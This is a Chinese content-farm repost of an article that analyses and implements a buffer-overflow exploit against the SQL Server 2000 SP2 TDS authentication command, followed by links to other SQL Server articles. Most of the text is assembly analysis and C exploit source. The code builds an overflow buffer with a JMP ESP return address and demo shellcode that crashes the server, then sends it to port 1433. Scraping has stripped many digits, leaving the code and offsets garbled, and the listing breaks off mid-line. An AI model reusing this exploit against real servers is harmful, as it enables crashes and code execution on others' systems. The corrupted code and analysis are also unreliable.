知识大全 SQL SERVER 2000 SP2 12命令的溢出攻击实现

Posted 地址

篇首语:与天地兮比寿,与日月兮齐光。本文由小常识网(cha138.com)小编为大家整理,主要介绍了知识大全 SQL SERVER 2000 SP2 12命令的溢出攻击实现相关的知识,希望对你有一定的参考价值。

SQL SERVER 2000 SP2 12命令的溢出攻击实现  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!

  这几天开始用汇编看sql server的代码 发现SQL SERVER的 TDS协议中 X 号命令(请求验证)存在一个溢出问题 在传送最后的MSSQLSERVER后面跟上 个以上的字节会导致溢出 心里一喜 但吸取上次教训 一查 发现 月 这个漏洞已经被公告 哎  但是一看 公告代码只指出溢出 但是未实现溢出 仔细一看 要实现这个溢出还是很麻烦的 涉及到很多问题     下面是汇编代码分析   前面接受信息的大致流程   请求  text: DE call sub_ E    text: ED call dword ptr [eax+ h]  调用ssnetlib的获取异步socket到来的信息   CF F :连接并接收信息   text: ED add esp h    处理数据    cf e处调用 下个返回地址应该是 cf a 溢出就是要覆蓋这个返回地址  溢出产生在: cf cf处的strcpy上  但是其中问题存在于 strcpy拷贝的地址离 cf a 的地址有 个字节 其中存在很多其他变量的指针 如果随便覆蓋掉的话 在这个子过程中会继续引用他们 那么就引起访问违例 直接被异常给捕获了 而无法达到执行代码的目的 而其其过程是一个循环执行过程 会导致很复杂的计算   涉及到的需要继续引用覆蓋地址值的代码有    text: CF D mov edx [ebp+var_ ]   text: CF DC add edx    text: CF DF mov [ebp+var_ ] edx   text: CF mov edx [ebp+arg_ ]   text: CF add edx [ebp+var_ ]   text: CF xor eax eax   text: CF B mov al [edx]   text: CF D mov [ebp+var_ ] eax   text: CF mov ecx [ebp+arg_ ]   text: CF mov [ebp+var_ ] ecx   text: CF mov edx [ebp+arg_ ]   text: CF mov eax [ebp+var_ ]   text: CF F mov ecx [eax]    可以发现以上值主要是涉及到  要覆蓋地址   要覆蓋地址+   要覆蓋地址+   要覆蓋地址+C  要覆蓋地址+   要覆蓋地址+   这几个地址上 而且主要是写操作  并且要覆蓋地址 会和要覆蓋地址+ 会进行一次加操作 其操作的地址范围也应该为可读写   因此很容易想到 用SQL SERVER固定分配的某个数据区的地址取带该区就不会引起异常了 而要覆蓋地址 最好为 xffffffff左右的值 其他地址加上这个值也在一个数据区范围以内 问题就不大要覆蓋地址+ 要覆蓋地址+ 要覆蓋地址+C 要覆蓋地址+ 要覆蓋地址+ 的值要仔细选取 因为JMP ESP跳回来以后正好在从要覆蓋地址+ 处开始执行 需要其汇编代码不能引起异常和跳转到其他地方去 否则就无法执行我们真正能实现的shellcode了   另外就是如果shellcode全部放在要覆蓋地址+ 后执行也有问题 其中可能在同一个过程中会用到其中的值 因此把shellcode最好放在前面 在覆蓋地址+ 后用少量的代码跳转回去 避免大量覆蓋引起异常   另外就是jmp esp代码的选择 其实不同服务器版本地址不同 但是我想在SQL SERVER代码本身中找更好 只要存在一个ffe 数字就可 不管是不是真的jmp esp代码 这样shellcode可以更简单 也更通用一些 仔细一看 sql server中还真有这个组合 位置在 B C DC处 OK 那么主要问题就搞定了  我的环境是 sql server +sp +最新的补掉sql server udp漏洞的q 几几的   下面是演示代码 其中没有实现真正的shellcode 而是实现了打印了一行sql hack demo 并且当掉了SQL SERVER服务器 其实只要把其中代码置换成shellcode就可以了 当然需要考虑大小问题 如果放在后面可以不考虑大小 但是可能会引起一些异常 我没仔细调试 放在前面许可的长度大概有 多字节左右 做SHELLCODE也应该足够了   大家在cmd下运行sqlsvrer可以看到打印出的sql hack demo字符 并且SQL 当掉 如果是服务或管理工具启动 则无法打印sql hack demo 但SQL会当掉 注意此处当掉不是因为异常 而是执行了shellcode的exit导致的   #include   #include   #include   #include   #include   #include     int main(int argc char* argv[])    WSADATA WSAData;  SOCKET sock;  SOCKADDR_IN addr_in;  unsigned char buf [ + ]=   x x x x b    x c xc x xff    x x d x x x x c x x x x x x x ;    unsigned char buf [ ]= ;  char exploit_code[ ]= \\x \\xc \\x \\x b\\xc \\x \\xff\\x \\xf \\xe \\xcf\\x    \\x \\xc \\x \\xff\\x \\x \\xe \\xcf\\x ;  //这个是打印 sql hack demo 并退出sql server的shellcode代码  int i;  int len;  const int SNDBUF = ;  const int TCPNODELAY = TRUE;  const int BROADCAST = TRUE;  int fo= ; //需要覆蓋的返回地址偏移处  if (argc<2)    return FALSE;    for(i=0x34;i<584;i++)  buf0[i]=0x90;   //示范打印的字符串  buf0[0x34+0x10]=\'\'s\'\';  buf0[0x34+0x11]=\'\'q\'\';  buf0[0x34+0x12]=\'\'l\'\';  buf0[0x34+0x13]=\'\' \'\';  buf0[0x34+0x14]=\'\'h\'\';  buf0[0x34+0x15]=\'\'a\'\';  buf0[0x34+0x16]=\'\'c\'\';  buf0[0x34+0x17]=\'\'k\'\';  buf0[0x34+0x18]=\'\' \'\';  buf0[0x34+0x19]=\'\'d\'\';  buf0[0x34+0x1a]=\'\'e\'\';  buf0[0x34+0x1b]=\'\'m\'\';  buf0[0x34+0x1c]=\'\'o\'\';  buf0[0x34+0x1d]=\'\'\\n\'\';    //防止数据改动引起异常而退出而无法实现有效溢出,因此进行有效修改  buf0[fo-0x8]=0xff;  buf0[fo-0x7]=0xff;  buf0[fo-0x6]=0xff;  buf0[fo-0x5]=0xff;  //42D01CFC 为SQL SERVER固定的数据区域,且其汇编代码不引起问题  buf0[fo+4]=0xfc;  buf0[fo+5]=0x1c;  buf0[fo+6]=0xd0;  buf0[fo+7]=0x42;  //42d01c72 为固定的数据区域才能可写  buf0[fo+8]=0x64;  buf0[fo+9]=0x0d;  buf0[fo+0xa]=0xd0;  buf0[fo+0xb]=0x42;   //42D01CFC 为固定的数据区域才能可写  buf0[fo+0xc]=0xfc;  buf0[fo+0xd]=0x1c;  buf0[fo+0xe]=0xd0;  buf0[fo+0xf]=0x42;  //42d01c72 为固定的数据区域才能可写  buf0[fo+0x10]=0x64;  buf0[fo+0x11]=0x0d;  buf0[fo+0x12]=0xd0;  buf0[fo+0x13]=0x42;   //42d01c72 为固定的数据区域才能可写  buf0[fo+0x14]=0x64;  buf0[fo+0x15]=0x0d;  buf0[fo+0x16]=0xd0;  buf0[fo+0x17]=0x42;   //在溢出了返回地址后,由于其中的N个代码需要返回后跳转、而此处由在子函数中需要处理,因此寻找一个数据地址放入,同时使得其汇编代码不引起访问异常。WinGwiT.Com    //然后下面的几个地址是在此过程中不需要使用的,因此可以大胆修改成我们需要的汇编代码了  //写入跳回去的代码buf0[fo+0xc]=0x42;  buf0[fo+0x18]=0x81;  //ADD ESP,0XFFFFFF92  buf0[fo+0x19]=0x83;  buf0[fo+0x1a]=0xc4;   buf0[fo+0x1b]=0x81;  //ADD ESP,0XFFFFFF92  buf0[fo+0x1C]=0x83;  buf0[fo+0x1D]=0xc4;   buf0[fo+0x1E]=0x81;  //ADD ESP,0XFFFFFF92  buf0[fo+0x1f]=0x83;  buf0[fo+0x20]=0xc4;   buf0[fo+0x21]=0x81;  //JMP ESP  buf0[fo+0x22]=0xff;  buf0[fo+0x23]=0xe4;  //以上代码在溢出返回后执行,由于主要的shellcode防在前面,需要跳转回去  //不直接放在后面的原因在于:覆蓋了后面的一些变量,会导致提前出现地址访问异常,导致无法达到执行我们想要代码的目的    memcpy(buf0+fo-8-364,exploit_code,21);  //拷贝SHELLCODE    //FFE4=JMP ESP  //设置溢出地址的值,42B0C9DC是SQL SERVER本身代码有的FFE4地方  buf0[fo]=0xDC;  buf0[fo+1]=0xC9;  buf0[fo+2]=0xB0;  buf0[fo+3]=0x42;  //需要找到JMP ESP的代码,然而这个是随版本变化的,所以干脆在SQL SERVER程序中找,只要组合成这个就可    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)    printf("WSAStartup error.Error:%d\\n",WSAGetLastError());  return FALSE;    if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)    printf("Socket failed.Error:%d\\n",WSAGetLastError());  return FALSE;      addr_in.sin_family=AF_INET;  addr_in.sin_port=htons(1433);  addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);  buf0[1]=1;  if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)    printf("Connect failed.Error:%d",WSAGetLastError());  return FALSE;    if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)    printf("Send failed.Error:%d\\n",WSAGetLastError());  return FALSE;      len=recv(so cha138/Article/program/SQLServer/201311/22176

相关参考

知识大全 使用FORFILES命令来删除SQL Server备份

使用FORFILES命令来删除SQLServer备份  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!

知识大全 SQL Server 2005和SQL Server 2000数据的相互导入

SQLServer2005和SQLServer2000数据的相互导入  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快

知识大全 MS SQL基础教程 SQL Server 2000 简介

MSSQL基础教程SQLServer2000简介  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!&n

知识大全 SQL Server 2000问答

SQLServer2000问答  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  问SQLServe

知识大全 配置SQL Server 2000选项

配置SQLServer2000选项  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  SQLServ

知识大全 安装SQL Server 2000[3]

MSSQL入门基础:安装SQLServer2000[3]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下

知识大全 安装SQL Server 2000[2]

MSSQL入门基础:安装SQLServer2000[2]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下

知识大全 安装SQL Server 2000[1]

MSSQL入门基础:安装SQLServer2000[1]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下

知识大全 SQL Server 2000 的全局变量

SQLServer2000的全局变量  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!   ·@@CO

知识大全 SQL Server 2000的工具[1]

MSSQL基础教程:SQLServer2000的工具[1]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一